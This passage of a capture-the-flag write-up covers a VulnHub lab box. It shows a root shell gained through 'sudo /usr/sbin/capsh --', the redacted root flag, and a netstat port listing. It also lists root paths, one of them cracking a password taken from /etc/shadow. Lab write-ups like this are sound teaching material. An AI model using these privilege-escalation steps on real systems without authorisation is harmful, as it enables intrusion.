Looking at the man page for capsh we can see that there is the -- argument that will

Execute /bin/bash with trailing arguments. Note, you can use -c ‘command to execute’ for specific commands.

This means we can use it to drop straight into a root shell:

[bla@fileserver smbuser]$ sudo /usr/sbin/capsh --
[root@fileserver smbuser]# whoami
root

Root proof.txt:

[root@fileserver ~]# cat proof.txt
    _______ __    _____                                       _____
   / ____(_) /__ / ___/___  ______   _____  _____            |__  /
  / /_  / / / _ \\__ \/ _ \/ ___/ | / / _ \/ ___/  ______     /_ < 
 / __/ / / /  __/__/ /  __/ /   | |/ /  __/ /     /_____/   ___/ / 
/_/   /_/_/\___/____/\___/_/    |___/\___/_/               /____/  
                                                                   

flag : 7be[REDACTED]6e9

Our root paths so far are:

  1. Use the cracked password from /etc/shadow
  2. Use sudo /usr/sbin/capsh – as the bla to open a root shell
  3. Hopefully there is something in the runme binary but we haven’t worked it out yet

This was a quick and easy box, that hopefully taught you something new. It looks like there are many many more paths to root. Let us know if you find any interesting ones yourself!

In the process of preparing for the stream, and during the live stream itself, we didn’t have time to explore everything we found, but here are some other interesting finds that could lead to alternate paths:

Multiple listening ports on UDP and IP6:

tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:2121            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:42698           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:20048           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:58202           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.232.129:22      192.168.232.132:46248   ESTABLISHED -                   
tcp6       0      0 :::2049                 :::*                    LISTEN      -                   
tcp6       0      0 :::57602                :::*                    LISTEN      -                   
tcp6       0      0 :::139                  :::*                    LISTEN      -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::20048                :::*                    LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::1337                 :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::445                  :::*                    LISTEN      -                   
tcp6       0      0 :::48317                :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:2049            0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:111             0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:659           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:796             0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:50354           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:34013           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:48597           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:20048           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:57171           0.0.0.0:*                           -                   
udp6       0      0 :::2049                 :::*                                -                   
udp6       0      0 :::111                  :::*                                -                   
udp6       0      0 :::35332                :::*                                -                   
udp6       0      0 :::796                  :::*                                -                   
udp6       0      0 :::50582                :::*                                -                   
udp6       0      0 :::48602                :::*                                -                   
udp6       0      0 :::20048                :::*                                -                   
raw6       0      0 :::58                   :::*                    7           - 

/usr/bin and /usr/sbin also have some interesting binaries.

tags: ctf - vulnhub - ck-03